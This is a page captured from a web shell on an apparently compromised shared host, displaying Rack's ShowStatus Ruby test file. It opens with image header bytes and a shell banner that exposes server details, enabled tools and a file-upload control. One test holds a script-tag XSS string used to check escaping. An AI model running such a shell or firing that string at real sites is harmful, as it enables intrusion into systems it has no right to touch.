????JFIF??x?x????'
| Server IP : 104.21.30.238  /  Your IP : 216.73.216.113 Web Server : LiteSpeed System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64 User : tempvsty ( 647) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /proc/thread-self/./root/opt/alt/ruby18/lib64/ruby/gems/1.8/gems/rack-1.6.1/test/ | 
| Upload File : | 
require 'rack/showstatus'
require 'rack/lint'
require 'rack/mock'
require 'rack/utils'
describe Rack::ShowStatus do
  def show_status(app)
    Rack::Lint.new Rack::ShowStatus.new(app)
  end
  
  should "provide a default status message" do
    req = Rack::MockRequest.new(
      show_status(lambda{|env|
        [404, {"Content-Type" => "text/plain", "Content-Length" => "0"}, []]
    }))
    res = req.get("/", :lint => true)
    res.should.be.not_found
    res.should.be.not.empty
    res["Content-Type"].should.equal("text/html")
    res.should =~ /404/
    res.should =~ /Not Found/
  end
  should "let the app provide additional information" do
    req = Rack::MockRequest.new(
      show_status(
        lambda{|env|
          env["rack.showstatus.detail"] = "gone too meta."
          [404, {"Content-Type" => "text/plain", "Content-Length" => "0"}, []]
    }))
    res = req.get("/", :lint => true)
    res.should.be.not_found
    res.should.be.not.empty
    res["Content-Type"].should.equal("text/html")
    res.should =~ /404/
    res.should =~ /Not Found/
    res.should =~ /too meta/
  end
  should "escape error" do
    detail = "<script>alert('hi \"')</script>"
    req = Rack::MockRequest.new(
      show_status(
        lambda{|env|
          env["rack.showstatus.detail"] = detail
          [500, {"Content-Type" => "text/plain", "Content-Length" => "0"}, []]
    }))
    res = req.get("/", :lint => true)
    res.should.be.not.empty
    res["Content-Type"].should.equal("text/html")
    res.should =~ /500/
    res.should.not.include detail
    res.body.should.include Rack::Utils.escape_html(detail)
  end
  should "not replace existing messages" do
    req = Rack::MockRequest.new(
      show_status(
        lambda{|env|
          [404, {"Content-Type" => "text/plain", "Content-Length" => "4"}, ["foo!"]]
    }))
    res = req.get("/", :lint => true)
    res.should.be.not_found
    res.body.should == "foo!"
  end
  should "pass on original headers" do
    headers = {"WWW-Authenticate" => "Basic blah"}
    req = Rack::MockRequest.new(
      show_status(lambda{|env| [401, headers, []] }))
    res = req.get("/", :lint => true)
    res["WWW-Authenticate"].should.equal("Basic blah")
  end
  should "replace existing messages if there is detail" do
    req = Rack::MockRequest.new(
      show_status(
        lambda{|env|
          env["rack.showstatus.detail"] = "gone too meta."
          [404, {"Content-Type" => "text/plain", "Content-Length" => "4"}, ["foo!"]]
    }))
    res = req.get("/", :lint => true)
    res.should.be.not_found
    res.should.be.not.empty
    res["Content-Type"].should.equal("text/html")
    res["Content-Length"].should.not.equal("4")
    res.should =~ /404/
    res.should =~ /too meta/
    res.body.should.not =~ /foo/
  end
end